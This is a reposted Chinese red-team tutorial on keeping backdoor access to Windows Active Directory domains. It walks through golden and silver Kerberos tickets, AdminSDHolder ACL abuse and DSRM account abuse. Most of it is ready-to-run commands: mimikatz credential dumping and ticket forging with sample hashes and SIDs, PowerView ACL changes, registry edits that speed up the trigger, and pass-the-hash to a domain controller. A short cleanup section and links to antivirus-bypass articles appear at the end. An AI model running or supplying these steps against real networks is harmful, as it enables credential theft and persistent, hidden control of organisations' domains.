域内持久化后门

admin 2022年10月3日13:31:24评论46 views字数 3413阅读11分22秒阅读模式

首发先知社区:https://xz.aliyun.com/t/9964

0x01 金票

可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。要伪造黄金票据的前提是知道域的SID和krbtgt账户的hash或者AES-256值。

1.1 收集krbtgt密码信息

privilege::debug
lsadump::lsa /inject /name:krbtgt
域内持久化后门


得到krbtgt的hash:

c73caed3bc6f0a248e51d37b9a8675fa

域sid值:

S-1-5-21-151877218-3666268517-4145415712

1.2 金票利用

使用mimikatz伪造kerberos票证

生成gold.kribi

mimikatz "kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712
/krbtgt:c73caed3bc6f0a248e51d37b9a8675fa /user:administrator
/ticket:gold.kirbi"

域内持久化后门

可以看到没有任何票证。

导入gold.kribi

kerberos::ptt C:UsersjackDesktopgold.kirbi
域内持久化后门

成功导入administrator票据。

域内持久化后门

可以通过事件管理器查看到是以administrator来登录的

域内持久化后门

0x02 银票

如果我们拥有服务的hash,就可以给自己签发任意用户的TGS票据。金票是伪造TGT可用于访问任何Kerberos服务,而银票是伪造TGS,仅限于访问针对特定服务器的任何服务。

这里使用CIFS服务,该服务是windows机器之间的文件共享。

2.1 获取sid

whoami /user
域内持久化后门

2.2 导出服务账号的NTLM Hash

privilege::Debug
sekurlsa::logonpasswords
域内持久化后门

2.3 创建银票

域内持久化后门
kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712 /target:DC.redteam.local /service:cifs /rc4:0703759771e4bed877ecd472c95693a5 /user:administrator /ptt
域内持久化后门

psexec获取DC机器cmd

域内持久化后门

0x03 AdminSDHolder组

AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护AD账户和组的模板,当我们获取到域控权限,就可以通过授予该用户对容器进行滥用,使该用户成为域管。

默认情况下,该组的 ACL 被复制到所有“受保护组”中。这样做是为了避免有意或无意地更改这些关键组。但是,如果攻击者修改了AdminSDHolder组的 ACL,例如授予普通用户完全权限,则该用户将拥有受保护组内所有组的完全权限(在一小时内)。如果有人试图在一小时或更短的时间内从域管理员中删除此用户(例如),该用户将回到组中。

在server2000中引入,默认包含如下的组:
Administrators
Domain Admins
Account Operators
Backup Operators
Domain Controllers
Enterprise Admins
Print Operators
Replicator
Read-only Domain Controllers
Schema Admins
Server Operators

其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限,受保护的ad账户和组的具备admincount属性值为1的特征。

域内持久化后门

3.1 使用powerview查询

查询ad保护的域的用户

Get-NetUser -AdminCount |select samaccountname
域内持久化后门


查询域中受ad保护的所有组

Get-netgroup -AdminCount | select name
域内持久化后门

3.2 使用ActiveDirectory

查询ad保护的域中所有的用户和组

Import-Module ActiveDirectory 
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name
域内持久化后门

3.3 添加用户

添加jack用户对其有完全控制权限。

Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity jack -Rights All

然后验证下,这里的sid为jack用户的。

Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-15187721
8-3666268517-4145415712-1106"
} | select objectdn,ActiveDirectoryRights |sort -Unique
域内持久化后门
域内持久化后门

默认会等待60分钟,可以通过修改注册表来设置为60秒后触发。

reg add hklmSYSTEMCurrentControlSetServicesNTDSParameters /v AdminSDProtectFrequency /t REG_DWORD /d 1 /f
域内持久化后门

3.4 恢复

恢复触发时间

reg add hklmSYSTEMCurrentControlSetServicesNTDSParameters /v AdminSDProtectFrequency /t REG_DWORD /d 120 /f

取消jack用户对adminSDHolder的权限

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=redteam,DC=local" -PrincipalIdentity jack -Rights All -Verbose
域内持久化后门

0x04 DSRM凭证

每个DC内部都有一个本地管理员账户,在该机器上拥有管理员权限。

4.1 获取本地管理员hash

token::elevate
lsadump::sam
域内持久化后门

得到hash为:

852a844adfce18f66009b4f14e0a98de

4.2 检查是否工作

如果注册表项的值为0或者不存在,需要将其设置为2。

检查key是否存在并且获取值:

Get-ItemProperty "HKLM:SYSTEMCURRENTCONTROLSETCONTROLLSA" -name DsrmAdminLogonBehavior

如果不存在则创建值为2的键:

New-ItemProperty "HKLM:SYSTEMCURRENTCONTROLSETCONTROLLSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD

如果存在但是不为2设置为2:

Set-ItemProperty "HKLM:SYSTEMCURRENTCONTROLSETCONTROLLSA" -name DsrmAdminLogonBehavior -value 2
域内持久化后门

4.3 PTH域控

sekurlsa::pth /domain:DC /user:Administrator /ntlm:852a844adfce18f66009b4f14e0a98de /run:powershell.exe
域内持久化后门

加下方wx,拉你一起进群学习

域内持久化后门

往期推荐

从反制Cobalt Strike到CVE-2022-39197再到RCE的探索之路

什么?你还不会webshell免杀?(八)

SPN的相关利用

什么?Windows defender 竟如此脆弱?

最新办法绕过360核晶添加计划任务

一款域信息收集神器

最新绕过360添加用户 | 红队蓝军祝您双节快乐

域内批量获取敏感文件

域内批量解析chrome浏览器

域内持久化后门

原文始发于微信公众号(红队蓝军):域内持久化后门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月3日13:31:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域内持久化后门http://cn-sec.com/archives/1330800.html

发表评论

匿名网友 填写信息